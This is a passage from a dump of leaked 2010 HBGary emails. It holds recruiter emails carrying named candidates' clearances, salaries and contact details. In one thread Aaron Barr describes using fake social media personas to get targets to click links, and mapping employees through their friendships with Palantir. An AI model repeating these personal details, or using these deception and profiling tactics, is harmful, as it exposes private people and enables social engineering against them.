fourth essential skill can only be explained visually.\r\n        \r\n\r\n\r\n\r\n\r\n\r\n\r\n               \r\n            \r\n            \r\n              \r\n\r\n\r\n\r\n\r\n\r\n      Michael Schell\r\nWow!      \r\n      Add a comment\r\n      \r\n        \r\n        \r\n        \r\nBiggest Check-in Reward Ever: Loopt And Virgin Are Giving Away...         \r\n          Loopt Star users who check in to LAX, SFO, or select taco trucks today can get a great deal on Virgin\'s newest destinations.\r\n        \r\n\r\n\r\n\r\n\r\n\r\n\r\n               \r\n            \r\n            \r\n              \r\n\r\n\r\n\r\n\r\n\r\n      Jason Mueller\r\nLooking for cleared Security Engineers to join the ArcSight Professional Services Federal team!  Positions worldwide!      \r\n      Add a comment\r\n      \r\n\r\n\r\n\r\n\r\n\r\n\r\n               \r\n            \r\n    \r\n  \r\n\r\n    \r\n    GROUPS\r\n\r\n\r\n  \r\n    \r\n            \r\n              \r\n\r\n    Jason Mueller has joined\r\n    Security Information and Event Management (SIEM)\r\n              \r\n            \r\n    \r\n  \r\n\r\n    \r\n    PHOTOS\r\n\r\n\r\n  \r\n    \r\n            \r\n              \r\n\r\n\r\n  Dino Dai Zovi has uploaded a new profile picture\r\n              \r\n            \r\n    \r\n  \r\n\r\n    \r\n    RECOMMENDATIONS\r\n\r\n\r\n  \r\n    \r\n            \r\n              \r\n\r\n    Rodrigo Antao recommends\r\nbusiness partner      Wagner Elias\r\n          Co-Founder, Research &amp; Development Manager at Conviso IT Security\r\n        I already knew Wagner from other professionals in the security market and had heard of their compete...\r\n        Read more\r\n              \r\n            \r\n            \r\n              \r\n\r\n    Rodrigo Antao recommends\r\nbusiness partner      Joao Francisco Mendes\r\n          Security analyst at Itau Unibanco Banco Comercial\r\n        Knoledgeable, deep understanding of information security solutions. Joao it\'s a great professional t...\r\n        Read more\r\n              \r\n            \r\n    \r\n  \r\n\r\n    \r\n    APPLICATIONS\r\n\r\n\r\n  \r\n    \r\n            \r\n              \r\n\r\n                  \r\n                    Sid Fuchs\r\n                  \r\n                     has read \r\n                  \r\n                    The 48 Laws of Power\r\n                   \r\n                          \r\n            \r\n    \r\n  \r\n\r\n      \r\n    \r\n    \r\n        \r\n        See more updates &#187;\r\n      \r\n    \r\n    \r\n      \r\n\r\n\r\n\r\n  \r\n    \r\n      Don\'t want to receive email notifications? Adjust your message settings. LinkedIn values your privacy. At no time has LinkedIn made your email address available to any other LinkedIn user without your permission.\r\n      &copy; 2010, LinkedIn Corporation\r\n    \r\n  \r\n      \r\n    \r\n  \r\n  \r\n',9884,'aaron_hbgary_com/9884.html'),(11191,'2010-09-02','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297008532.M951560P14101Q6046.eml','\"Phil Wallisch\" <phil@hbgary.com>','Re: WILLIS C. MCDONALD II','ok. &nbsp;If I am lucky I will have some real IR/Forensics guys on staff soon. &nbsp;They might be able to augment at times if needed. &nbsp;If this guy is any good I will hire him tomorrow as there is a immediate contract to put him on, and a few others if I can find them.AaronOn Sep 1, 2010, at 10:23 PM, Phil Wallisch wrote:I do need help but I think we\'ll get through it.&nbsp; I have Matt fully engaged now on cleaning up Spohn\'s engagements.&nbsp; On Wed, Sep 1, 2010 at 6:53 PM, Aaron Barr &lt;aaron@hbgary.com&gt; wrote:\r\nSure. &nbsp;I can make it real brief if you can. &nbsp;Just a few questions to see if this guy has real RE/forensic skills.\r\nDo you need help or is it not that type of slammed?\r\nAaronSent from my iPhoneOn Sep 1, 2010, at 6:47 PM, Phil Wallisch &lt;phil@hbgary.com&gt; wrote:\r\n\r\nI\'m pretty slammed right now. &nbsp;I could maybe talk briefly.Sent from my iPhoneOn Sep 1, 2010, at 15:46, Aaron Barr &lt;aaron@hbgary.com&gt; wrote:\r\n\r\nCan you help me vet this guy? &nbsp;I have a few positions available on the classified side for REs that I can fill now.Aaron\r\n\r\nBegin forwarded message:From: Ed Wallach &lt;ed@wallachsearch.com&gt;\r\n\r\nDate: September 1, 2010 1:16:22 PM EDT\r\n\r\nTo: Aaron Barr &lt;aaron@hbgary.com&gt;\r\n\r\nSubject: WILLIS C. MCDONALD II\r\n\r\nHi Aaron,here\'s a new recruit-lives in GA...will relo up here in 2 seconds...has an FSP!!\r\nCANDIDATE\'S NAME: &nbsp;WILLIS C. MCDONALD IICURRENTLY LIVES IN: &nbsp;GA			WILL RELOCATEGEOGRAPHIC PREFERENCES: &nbsp;DC/MD/VA&nbsp;		He is open to hear about outstanding opportunities elsewhere.\r\n\r\nLOOKING FOR WORK BECAUSE: &nbsp;The contract he is working on is over in 2 WEEKS.&nbsp;CURRENT SALARY: &nbsp;$78,000 &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;CLEARANCES: &nbsp;TS/SCI with a FULLSCOPE POLY (8-2008)EDUCATION AND TRAINING:2006 - 2008 B.S. Information Technology\r\n\r\nSouthern Polytechnic State University, Marietta GA2002 - 2005 Electrical and Computer EngineeringUniversity of New Orleans, New Orleans LA2010 FOR558 Network ForensicsSANSfire &nbsp;Baltimore MD\r\n\r\nSUMMARY OF QUALIFICATIONS:Over 14 years experience including information security, network administration and live forensic analysis of information systems. &nbsp;Willis has a strong understanding of various commercial security products and systems including&nbsp;applications, capabilities, and limitations. &nbsp;He also have extensive professional experience in network planning, implementation and operations.&nbsp;\r\n\r\nPROFESSIONAL EXPERIENCE:2008 - PresentGlobal Network Exploitation and Vulnerability AnalystNational Security Agency, Fort Gordon GAResponsibilities included: &nbsp;Performing interactive operations, live forensic analysis of remote computer systems and networks, and situational health and security posture analysis of the endpoint environment. &nbsp;\r\n\r\nSecurity posture analysis included identifying vulnerabilities and security products on systems along with malware identification and analysis for possible capabilities and interference with proprietary tools. &nbsp;Attended a six month rigorous training course in forensics, software development, reverse engineering and information security.&nbsp;\r\n\r\n2006 - 2008 &nbsp;Network AdministratorThe Community Bank, Loganville GADuties included but were not limited to:Responsible for ensuring overall health and security of bank information systems. &nbsp;\r\n\r\nAuditing IDS and firewall systems, ground up planning and implementation of branch systems, user administration, backup administration, database administration and development of web based front ends for existing&nbsp;applications and a ground up re-work of the existing web site to include a CMS for ease of future maintenance. &nbsp;\r\n\r\nAlso, implemented Nagios event monitoring for all servers and security devices.2006 - 2006&nbsp;Senior TechnicianPifusion Development Group, Tucker GAPerformed repairs and sales of computer hardware, software and network equipment both in-house and on-site. &nbsp;\r\n\r\nRepair duties included: general hardware/software troubleshooting and replacement and virus and malware remediation. &nbsp;Implemented and designed network systems for new and existing locations. &nbsp;Also assessed off-lease equipment for recycling and valuation for sale.\r\n\r\n2002 - 2006 &nbsp;Supervisor TraineeMcDonald Enterprises, Slidell LAAdministered and maintained environmental remediation systems for three hazardous waste remediation sites. &nbsp;Duties included SCADA and PLC systems administration, company information systems administration and general maintenance and repair of industrial wastewater treatment systems.\r\n\r\n1998 - 2002&nbsp;Assistant AdministratorFirearms Training Systems, Suwanee GAAdministered a mixed environment network for a computer based firearms training systems manufacturer for military and law enforcement agencies. &nbsp;\r\n\r\nAdministration duties included backup administration, general user administration, PBX administration and database administration and maintenance. &nbsp;Also repaired and built desktop systems for end users. &nbsp;Also monitored web systems for misuse and anomalies.\r\n\r\n1995 - 1996IT SpecialistMFP/King Computer, Norcross GAResponsible for assessment and remediation of off-lease IBM PCs. &nbsp;Remediation included loading and configuring systems to customer specifications. &nbsp;\r\n\r\nImplemented network based loading system to improve productivity over using legacy floppy based loading. &nbsp;\r\n\r\n~~~~~~~~~~~~~~~~~~~~~~Ed Wallach&nbsp;\r\n\r\nPresident &amp; CEO\r\n\r\nEd Wallach Search Group \r\n\r\n301-365-3291 office&nbsp;&nbsp;\r\n\r\n301-613-0629 mobile\r\n\r\n301-365-3292 fax&nbsp;ed@wallachsearch.com\r\n\r\nwww.wallachsearch.com\r\n\r\nRecruiting Intelligence \r\n\r\n\r\n\r\n&lt;app_full_proxy.php.gif&gt;\r\n\r\n\r\n\r\n-- Phil Wallisch | Principal Consultant | HBGary, Inc.3604 Fair Oaks Blvd, Suite 250 | Sacramento, CA 95864Cell Phone: 703-655-1208 | Office Phone: 916-459-4727 x 115 | Fax: 916-481-1460\r\nWebsite: http://www.hbgary.com | Email: phil@hbgary.com | Blog:&nbsp; https://www.hbgary.com/community/phils-blog/\r\n\r\n',12452,'aaron_hbgary_com/12452.html'),(11192,'2010-09-02','\"Ted Vera\" <ted@hbgary.com>','/aaron@hbgary.com/new/1297008537.M152019P14101Q6047.eml','\"Barr Aaron\" <aaron@hbgary.com>,mark@hbgary.com','Draft Deliverable 2','Attached\r\n\r\n-- \r\nTed Vera  |  President  |  HBGary Federal\r\nOffice 916-459-4727x118  | Mobile 719-237-8623\r\nwww.hbgary.com  |  ted@hbgary.com\r\n',15234,'aaron_hbgary_com/15234.html'),(11193,'2010-09-02','\"Ed Wallach\" <ed@wallachsearch.com>','/aaron@hbgary.com/new/1297008537.M447838P14101Q6048.eml','\"Aaron Barr\" <aaron@hbgary.com>','FABIENNE VAN CAPPEL','Hello Aaron,\r\nThis is one you had said interested you a few weeks ago.\r\nThanks-\r\nEd\r\n\r\n\r\nFABIENNE VAN CAPPEL\r\n\r\nCurrently resides in Ft. Gordon, GA\r\nWill be available to begin full-time employment in October \'10\r\n\r\nLast salary job payed $131k\r\nLooking to make about the same .\r\nShe is open to relocating to either Ft. Meade, Rosslyn or Melbourne, FL\r\n\r\nCLEARANCES\r\nTop Secret (TS) Clearance with Single Scope Background Investigation (SSBI) - Sensitive Compartmented Information (SCI) with Counter Intelligence (CI) Polygraph\r\n\r\nEDUCATION\r\nSORBONNE UNIVERSITY - PARIS IV\r\nParis, FR — Master degree of Arts, 1991\r\nPhilosophy and Epistemology/Logic\r\nParis, FR — Post Master - Advanced Researches, 1992\r\nPhilosophy and Epistemology/Logic\r\n\r\nNORWICH UNIVERSITY\r\nNorthfield, VT - Master degree of Sciences, 2007\r\nMaster of Sciences in Information Assurance (MSIA)\r\n\r\nPROFILE\r\nVersatile and team player, Van Cappel is seeking a position to apply her comprehensive knowl- edge for solving endemic security problems at the organic level. Van Cappel is acquainted with ISO 17799 / 27001 and SABSA security architecture framework. In that framework security standards are integrated into a systemic business driven top-down approach. Ms. Van Cappel has written several essays about Information Assurance (IA) (refer to “publications” in the re- sume below). She participated in missions supporting computer network defense – response action (CND/RA). She conducted vulnerability assessments, analyzed security threats and techniques, tactics, and procedures (TTP) of cyber threats and cyber crimes. Her overall expe- rience encompasses the entire spectrum of IA and security management. Accept 75-100% travel CONUS and OCONUS with negotiable compensation.\r\n\r\nEXPERIENCE\r\nCHIEF WARRANT OFFICER\r\nFirst Information Operations Command, Fort Belvoir, VA	2010-Current Warrant Officer Advanced Course (WOAC) - 255A - Fort Gordon, GA Cisco Multilayer Switching - Cisco 3750 and 3560 - VLAN, STP, channel/trunk, 802.1q, Cisco VoIP with Call Manager -	Storage Area Network (SAN) with NetApp - Configuring RAID DP, Common Internet File System (CIFS) over TCP/IP, secure SHARE with Read/ Write/Execute\r\n\r\nENGINEER LEVEL IV\r\nPacific Northwest National Lab (PNNL), Richland, WA	2009-2010 Network forensics analysis and data set analysis - Assumption-based queries and identification/ confirmation to determine and isolate abnormal traffic (pattern and trends analysis) - Re- searches in cyber security related topics\r\nSENIOR SECURITY ANALYST - DIGITAL INVESTIGATION\r\nArlington, VA - SECURICON - Federal Contract with JTF-GNO - DISA	2008-2009\r\nCyber intelligence and digital security investigation. Network Analysis on Windows and UNIX system with Netflow/SiLk - Collect investigate the current cyber-threats and related attack’s vectors against the global information grid (GIG). Network vulnerability analysis and security monitoring. Participate in the joint Intel fusion coordination between the different downstream and upstream organizations: JTF-GNO at DISA, NSA, FBI. US-CERT, NOSC, USMC, AF- NOSC, ACERT, and other collateral major command (CENTCOM, PACOM, TRANS- COM) and etc.\r\n\r\nINFORMATION ASSURANCE ANALYST\r\nSRA, Arlington, VA	2004 - 2008\r\nAnalyzed security and audit of the security infrastructure. guidance and compliance of the internal information system infrastructure. Defined audit requirements and scope. investigated and documented findings in an audit report. Recommended security solutions to protect the internal information system infrastructure. Participated in writing and reviewing System Secu- rity Plan (SSP) and internal security policies.\r\n\r\nINFORMATION SECURITY OFFICER 1st INFORMATION OPERATIONS CMD, INSCOM, Fort Belvoir, VA	2005 - 2007 Mobilized Service Member - Supported mission: Computer Network Operations Defense (CNOD). Implemented the Tactics, Techniques and Procedures (TTPs) supporting computer\r\n\r\nNetwork Defense - Response Action (CND-RA). Worked closely with various Army and gov- ernment agencies (US Army Criminal Investigation Command (CID), US Army Computer Emergency Response Teams (ACERT), various regions CERTs (RCERT), Army Research Labs, JTF/GNO and National Security Agency (NSA). Functional assignment as security officer responsible for enforcing correct measures of protection within classified environment. Leadership position at Fort Gordon: supervised 18 soldiers within the context of warrant Offi- cer Basic Course (WOBC) and leadership development.\r\n\r\nSENIOR QUALITY ASSURANCE\r\nGeneral Dynamics (Subcontract) Arlington, VA	2003 - 2004\r\nQuality Management Assurance - ISO QMS 9000 Compliance - Verified compliance between pre-deployment configurations devices with logical layer requirement. Provided on-site Penta- gon installation QA support and inspection. Developed quality records and reports quality matrices.\r\n\r\nSATCOM TECHNICIAN\r\n193rd ARMY SPACE SPT BATTALION - PETERSON AFB, CO	2002 - 2003\r\nSpace Electronic Warfare Detachment (SEWD) - Space Central Mission Area Warfare in sup- port of DoD during Mission Iraqi Freedom. RF and SATCOM communication in support of Operations Iraqi Freedom (OIF) in theater oversea (deployment).\r\n\r\nNETWORK ENGINEER\r\nLevel (3) Communication, Broomfield, CO	2000 - 2002\r\nTier III WAN Network Operation Engineer responsible for managing, monitoring, repairing, and maintaining a multi-vendor global IP network in USA, EU and ASIA. Initiated the need for configuration management process for Network Operating Center (NOC). Developed and managed change control and procedures for configuration changes and deployment.\r\n\r\nMILITARY\r\nCO - NATIONAL GUARD - MEDICAL READINESS AND SUPPORT SPT BATTAL- ION - 1998 - 2002 CO - NATIONAL GUARD - SPACE COMMAND SUPPORT BATTALION - 2002-20042 US ARMY RESERVE - 1ST INFORMATION OPERATIONS COMMAND - 2004-2010\r\n\r\nCERTIFICATIONS\r\nCisco Certified Network Associate (CCNA - 2000) \r\nCisco Certified Network Professional (CCNP - 2002)\r\n Information System Security Officer Certificate (ISSO 2003) \r\nE-Council Ethical Hacker (CEH - 2005) \r\nE-Council Security Analyst (ECSA - 2006) \r\nCompTIA SECURITY + (2008) \r\nGIAC System Network Auditor (GSNA - 2008) \r\nGIAC Certified ISO-17799 Specialist (G7799 - 2009) \r\nJoint Network Attack Course NSA (JNAC - 2009) \r\nGIAC Security Essentials Certification (GSEC - 2009), \r\nGIAC Certified Forensic Analyst (GCFA - 2010) \r\nSABSA Chartered Foundation (SCF) Certificate (F1 Security Strategy & Planning - F2 Secu- rity Service Management) (2010) \r\nPending: training in June 2010 - GIAC Web Application Penetration Tester (GWAPT)\r\n\r\nSKILLS\r\nNETWORK & IT SECURITY - Digital data analysis - file system analysis (HFS, ext2/3, FAT, NTFS). Toolkit: timeline analysis with Sleuthkit (mactime, mac-robber, etc). Traffic Netflow (SiLk), Wireshark, Autopsy, Helix. Vulnerability pen-test: TCP/IP and network services (port) andhacking auditingtools.FundamentalknowledgeofPCIcompliance.Windowsenviron- ments: deployment Active Directory (AD), Microsoft Exchange, network services, Storage Area Network (SAN) NetApp. Network: Cisco, Extreme Networks, Juniper, Layer 2/3 proto- col, OSI model.\r\n\r\nMISCELLANEOUS - UNIX/LINUX flavored (RedHat, Fedora). WINDOWS flavored (NT, 2000, XP, 2003/2008 Servers), MAC OSX, VMware/Fusion, Core Security\r\n\r\nLINGUISTICS - Bilingual - French/English. Basic Spanish. Tutored linguistic students at Michigan State University. Defense Linguistic Proficiency Test (DLPT) 3/3 - French assistant in East Lansing HS, MI - Cyber-defense: assisted US Criminal Investigation Cmd (CID) with interpretation and translation of legal documents in relation with a cyber-crime investigation (French legal jurisdiction and International Criminal Police Organization - Interpol). Con- sulted with DoJ (2007) - translated legal documents in the context of an international litigation (affidavit of extradition) between EU (France) and California USA.\r\n\r\nMISCELLANEOUS - UNIX/LINUX flavored (RedHat, Fedora). WINDOWS flavored (NT, 2000, XP, 2003/2008 Servers), MAC OSX, VMware/Fusion workstation, Core Security, i2- Analyst Notebook, Adobe Creative Suite CS4, VISIO\r\n\r\nPUBLICATIONS\r\n\r\n“INFOSEC Management or Business Impact Analysis, not just a Good Idea but a Necessity in IA Today!”, Oct. 2007\r\n\r\n“Digital Forensics: Concepts and Applications”, May 2007\r\n\r\nDefense Continuity Plan (DCP) in the Context of a Pandemic Readiness” (Phases 1 and II), Feb. 2007 (pandemic COOP in compliance and requirements of “Homeland Security Act of 2002”(A Bill)\r\n\r\n“An Organic and Holistic Approach to Information Assurance”, Nov. 2006 \r\n\r\n“Paradox of Implication”, Oct. 1992 (in French)\r\n\r\n“Philosophical and Logical Foundations of Artificial Intelligence”, Jun. 1991 (Thesis Sorbonne-Paris IV)\r\n\r\n\r\n~~~~~~~~~~~~~~~~~~~~~~\r\nEd Wallach \r\nPresident & CEO\r\nEd Wallach Search Group \r\n301-365-3291 office  \r\n301-613-0629 mobile\r\n301-365-3292 fax \r\ned@wallachsearch.com\r\nwww.wallachsearch.com\r\n\r\nRecruiting Intelligence \r\n\r\n',13753,'aaron_hbgary_com/13753.html'),(11194,'2010-09-02','\"Ted Vera\" <ted@hbgary.com>','/aaron@hbgary.com/new/1297008539.M752700P14101Q6049.eml','\"Taylor, David A\" <dataylor@lanl.gov>,\"Taylor, David A\" <dataylor@lanl.gov>,','Re: Draft?','David,\r\n\r\nAttached are the draft Deliverables 1-3 along with the \"unofficial\"\r\nDay-5 Report and Debrief Presentation.\r\n\r\nRegards,\r\nTed\r\n\r\n\r\n\r\n\r\n\r\nOn Wed, Sep 1, 2010 at 5:31 PM, Taylor, David A  wrote:\r\n> Looking for that draft.\r\n>\r\n>\r\n>\r\n> Thanks.\r\n>\r\n>\r\n>\r\n> dat\r\n\r\n\r\n\r\n-- \r\nTed Vera  |  President  |  HBGary Federal\r\nOffice 916-459-4727x118  | Mobile 719-237-8623\r\nwww.hbgary.com  |  ted@hbgary.com\r\n',2053,'aaron_hbgary_com/2053.html'),(11195,'2010-09-02','\"Eifert, Eric J.\" <Eric.Eifert@ManTech.com>','/aaron@hbgary.com/new/1297008540.M118074P14101Q6050.eml','\"Aaron Barr\" <aaron@hbgary.com>','RE: Social Media, Exploitation, and Persistent Internet Operations','Let me check with the guys and see what they prefer.\r\n\r\nThanks,\r\n\r\nEric J. Eifert\r\nVice President, Cyber Defense Solutions Business Unit\r\nManTech Mission, Cyber and Technology Solutions\r\n(direct) 703-388-2127   (cell) 703-966-9998   (fax) 703-388-2148\r\n\r\n**PROPRIETARY & COMPANY-CONFIDENTIAL**\r\nThis email and the contents of this email (including any attachments) are company-confidential and/or proprietary.  Unless you are the addressee (or authorized to receive for the addressee), you may not use, copy, disclose or distribute this email or any of the contents of this email.  If you received this email in error, please promptly notify the sender by reply email and delete this email from your records.  Thank you.\r\n\r\n\r\n-----Original Message-----\r\nFrom: Aaron Barr [mailto:aaron@hbgary.com] \r\nSent: Wednesday, September 01, 2010 2:17 PM\r\nTo: Eifert, Eric J.\r\nSubject: Re: Social Media, Exploitation, and Persistent Internet Operations\r\n\r\nRgr.  Sooner the better for me.  I have taught the 1/2 day in class course before.  On the 16th will be my first time teaching it over webex.  If you want they can attend the webex on the 16th.  The in-class courses right now I have scheduled are customer specific.  If you would prefer not the webex I can come in and we can go over the material with a small audience.  Overall I think it is a course ready for customer attendance but I consider you guys a strategic partner and want to make sure your happy with it before you potentially advertise it to your customers.\r\n\r\nAgreed on the OSINT.  I few comments here.  I have been conducting some social media pen tests for some customers and they are going very well.  My fictional personas have lots of friends :) .  I prove exploitation by getting folks to click a like button or click a link.  This provides a highly targeted delivery mechanism.  I have a whole methodology for creating successful personas.  But as you mentioned social media is a huge OSINT tool.  I have a portion of the class dedicated to how you can build profiles on people and organizations using social media.\r\n\r\nAlso working with Palantir to collect as much social media data as we can and then provide an interface to query the data for specific characteristics.  Such as show me all the people that list themselves working with organization X.  Now show me people that show common friendships across these identified people.  You can start to build lots of intelligence just based on friendship relationships.\r\n\r\nI was working on the TSA proposal and through analysis of linkedin was able to determine subcontractors to KCG based on friendships and comments/recommendations that were made on different profiles as one simple example.  In each of the customer engagements I have right now I can identify more people that work for the company than publicly release because of common friendships across multiple publicly disclosed employees.  With social media you are as strong as your weakest link.  I have lots of lessons learned and tips when using social media.\r\n\r\nAaron\r\n\r\nOn Sep 1, 2010, at 1:31 PM, Eifert, Eric J. wrote:\r\n\r\n> Let me know when you would like to do it and I can send a Sr. Pen Testers and a Sr. Open Source Intel analyst.  One initial piece of feedback is that this would be great for OSINT (Open Source Intelligence) and I see a large need in the government space for this as well.\r\n> \r\n> Thanks,\r\n> \r\n> Eric\r\n> \r\n> Eric J. Eifert\r\n> Vice President, Cyber Defense Solutions Business Unit\r\n> ManTech Mission, Cyber and Technology Solutions\r\n> (direct) 703-388-2127   (cell) 703-966-9998   (fax) 703-388-2148\r\n> \r\n> **PROPRIETARY & COMPANY-CONFIDENTIAL**\r\n> This email and the contents of this email (including any attachments) are company-confidential and/or proprietary.  Unless you are the addressee (or authorized to receive for the addressee), you may not use, copy, disclose or distribute this email or any of the contents of this email.  If you received this email in error, please promptly notify the sender by reply email and delete this email from your records.  Thank you.\r\n> \r\n> \r\n> -----Original Message-----\r\n> From: Aaron Barr [mailto:arasita@mac.com] \r\n> Sent: Wednesday, September 01, 2010 1:28 PM\r\n> To: Eifert, Eric J.\r\n> Subject: Re: Social Media, Exploitation, and Persistent Internet Operations\r\n> \r\n> Eric,\r\n> \r\n> Pilot.  I think it\'s a very good course but I need some good critiques to validate I think before we take it whole hog to government customers.\r\n> \r\n> Aaron\r\n> \r\n> Sent from my iPhone\r\n> \r\n> On Sep 1, 2010, at 1:23 PM, \"Eifert, Eric J.\"  wrote:\r\n> \r\n>> Aaron, is this ready for prime time or are you still in the pilot phase?  If in the pilot phase I would like to send one or two folks to evaluate.\r\n>> \r\n>> Thanks,\r\n>> \r\n>> Eric J. Eifert\r\n>> Vice President, Cyber Defense Solutions Business Unit\r\n>> ManTech Mission, Cyber and Technology Solutions\r\n>> (direct) 703-388-2127   (cell) 703-966-9998   (fax) 703-388-2148\r\n>> \r\n>> **PROPRIETARY & COMPANY-CONFIDENTIAL**\r\n>> This email and the contents of this email (including any attachments) are company-confidential and/or proprietary.  Unless you are the addressee (or authorized to receive for the addressee), you may not use, copy, disclose or distribute this email or any of the contents of this email.  If you received this email in error, please promptly notify the sender by reply email and delete this email from your records.  Thank you.\r\n>> \r\n>> \r\n>> -----Original Message-----\r\n>> From: Aaron Barr [mailto:arasita@mac.com] \r\n>> Sent: Wednesday, September 01, 2010 1:15 PM\r\n>> Subject: Social Media, Exploitation, and Persistent Internet Operations\r\n>> \r\n>> The rise of the social web has created an entirely new set of useful technologies and security vulnerabilities.  It is our experience that most individuals and organizations understand there are risks to using social media but don\'t understand the full extent, from what types of use, what the real risks are, or how the vulnerabilities can be fully exploited, and how to effectively protect themselves.\r\n>> \r\n>> HBGary Federal has extensive experience in social media technologies, how to use these tools effectively, what the risks are to information exposure and exploitation, and how to more effectively protect yourself and your organization.  We feel this is an area that needs more attention and understanding quickly as the commercial social media platforms provide to much easy opportunities for threats.\r\n>> \r\n>> Attached is our training brochure for our online and in-class social media training programs, 1/2 and full day.  We also offer a tailored training program that is preceded by a social media penetration test.  The information gathered during the pen test is provided in a before and after information exposure report as well as the information is used to tailor the training program to make it as relevant as possible to the organization.\r\n>> \r\n>> Visit our training web page to review and sign up for one of our online training classes or send an email to schedule in-class room training.  You can also follow us on twitter to receive regular updates  or become a fan of our Facebook page.\r\n>> \r\n>> Web: training.hbgaryfederal.com\r\n>> Twitter: HBGaryFed\r\n>> Facebook: HBGary Federal\r\n>> Email: training@hbgaryfederal.com\r\n>> \r\n\r\n\r\n',1317,'aaron_hbgary_com/1317.html'),(11196,'2010-09-02','\"Eifert, Eric J.\" <Eric.Eifert@ManTech.com>','/aaron@hbgary.com/new/1297008540.M378627P14101Q6051.eml','aaron@hbgary.com','Re: Social Media, Exploitation, and Persistent Internet Operations','\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n \r\n  \r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\nCan we do a face to face?&nbsp; If so let me know when works best\r\nfor you and I will coordinate.\r\n\r\n&nbsp;\r\n\r\nThanks,\r\n\r\n&nbsp;\r\n\r\nEric J. Eifert\r\n\r\nVice President, Cyber Defense Solutions Business Unit\r\n\r\nManTech Mission, Cyber and Technology Solutions\r\n\r\n(direct) 703-388-2127&nbsp;&nbsp; (cell) 703-966-9998&nbsp;&nbsp; (fax)\r\n703-388-2148\r\n\r\n&nbsp;\r\n\r\n**PROPRIETARY\r\n&amp; COMPANY-CONFIDENTIAL**\r\n\r\nThis email and the contents of this email (including any\r\nattachments) are company-confidential and/or proprietary.&nbsp; Unless you are\r\nthe addressee (or authorized to receive for the addressee), you may not use,\r\ncopy, disclose or distribute this email or any of the contents of this\r\nemail.&nbsp; If you received this email in error, please promptly notify the\r\nsender by reply email and delete this email from your records.&nbsp; Thank you.\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n',12374,'aaron_hbgary_com/12374.html'),(11197,'2010-09-02','\"Bob Slapnik\" <bob@hbgary.com>','/aaron@hbgary.com/new/1297008540.M589035P14101Q6052.eml','\"Aaron Barr\" <aaron@hbgary.com>,\"Greg Hoglund\" <greg@hbgary.com>','RE: MyBlock','Hmmm.  Cityscape. Real life has its orderly side and its ugly sides.  Some\r\n\"players\" will want to beautify and grow the city.  But doesn\'t a good\r\nstory, movie or game need a protagonist and some interesting conflict?\r\nNeeds to be corruption, crime, crooked cops, vice, graft, etc.\r\n\r\nIn WOW do players \"mess with each other\"?  You\'re grinding through the game\r\nand meet characters.  Some of those characters are truly nasty?  I can see\r\nsweet, lovable Greg unleashing his real world frustration on some\r\nunsuspecting game character.\r\n\r\nBack to my question.... Can we develop a game that is good enough, fun\r\nenough and highly marketable?....... Or do we just want to spend our time,\r\nenergy and money to just build the $%%^$##%^ thing and see what happens?\r\n\'Cause it\'s fun?  \"Cause we just want to?\r\n\r\n\r\n\r\n-----Original Message-----\r\nFrom: Aaron Barr [mailto:aaron@hbgary.com] \r\nSent: Wednesday, September 01, 2010 11:44 PM\r\nTo: Greg Hoglund\r\nCc: Bob Slapnik\r\nSubject: MyBlock\r\n\r\nConvergence of Location based services, your social network, and the virtual\r\ngaming world.\r\n\r\nSocial Network comes from Facebook Connect API to pull in your friends list\r\n(this is what Zynga and all the other games use).\r\nLocation Based Services comes from Facebook Places API.  Each of the\r\nretailers or locations has a page in facebook and they can link their page\r\nto our game.\r\nThere is a status and management page in Facebook for MyBlock that allows\r\nyou to see the stats of your Block and your Neighbors with their own Blocks.\r\nYour Block and that of your Residence comprise a city.  You compete against\r\nother cities through challenges, points, status, etc.\r\n\r\nWhen you physically check in to a near-world place you can get a\r\npseudo-random drop that you can use to decorate your block and give you\r\nbuffs.  or other benefits in world.  When you check in X number of times or\r\nbecome the \"mayor\" you get a foundstone and that foundstone can then be used\r\nto create a building in world on your block.\r\n\r\nSome items can be donated to the city to build larger items that give the\r\noverall city bigger buffs or benefits, reach certain levels or status.\r\n\r\nIn world challenges:\r\nLeaderboards - whose got the most livable city.\r\nChallenges - This should have an in-world and near-world component.  Need so\r\nmany checkins at a particular place in a certain time period.  A city can\r\nbury certain items in their city (near or in-world) and another city has to\r\nuncover the clues and find the \r\nConflct - You can encroach on another city both in world and near world.\r\nYou can spend money to hire thugs to go rough the place up, start up\r\norganized crime circuits.  You can steal mayorships to weaken the in-world\r\ntown.  When this happens the city owners have to expend resources to take\r\nback physical territory and spend resources hiring police, combating the\r\nencroachment, etc.\r\n\r\nOK the game play definately needs some work but I think we have a basic idea\r\nto work with that is a good one.\r\n\r\nThoughts?\r\n\r\nAaron\r\n\r\nTo bobs question.  Where does the revenue come in.  There are items that you\r\ncan purchase through the store to help in-world play.  You also get money\r\nthrough advertising from retailers.\r\nNo virus found in this incoming message.\r\nChecked by AVG - www.avg.com \r\nVersion: 9.0.851 / Virus Database: 271.1.1/3095 - Release Date: 09/01/10\r\n14:34:00\r\n\r\n',14960,'aaron_hbgary_com/14960.html'),(11198,'2010-09-02','arc@westfields.net','/aaron@hbgary.com/new/1297008540.M831670P14101Q6053.eml','federal@hbgary.com','SE / Graystone CBL document posting','\r\nContractor Bidder\'s Library (CBL) documents have been posted on the NRO/SE-Graystone effort website.\r\n\r\n\r\nSITE VIEWING INFORMATION\r\n\r\nThe site is on the Classified ARC accessible  on CWAN/GWAN networks using http://arc.npa.gov/ and on Intelink using http://arc.nro.ic.gov/.  Please find the situation below that fits you and see the associated information.\r\n\r\nI Have Access to the Classified network, and I Have an Account on that system\'s ARC website.\r\nOn CWAN/GWAN go to http://arc.npa.gov/ or on Intelink go to http://arc.nro.ic.gov/, log in using your Classified ARC username and password, click on Current Efforts, and select SE /Graystone from the Open Source Listing.\r\n\r\nI Have Access to the Classified network (CWAN/GWAN or Intelink), But I Do NOT Have and Have Never Had an INDIVIDUAL Account on that system\'s ARC website.\r\nIf you have never had an individual account on the Classified ARC, go to http://arc.npa.gov/ (on CWAN/GWAN) or http://arc.nro.ic.gov/ (Intelink), click on \"Create New Account\" to make an account for yourself, and then follow the site access directions given in number one above.  You should use this new account that you create from this point onward whenever accessing the Classified ARC for any purpose.\r\n\r\nI Have Access to the Classified ARC and At One Time, I Had an INDIVIDUAL Account on that system\'s ARC Website, But I No Longer Have That Account Information.				\r\nIf you once had an account on the Classified ARC, please try using the \"Forgot 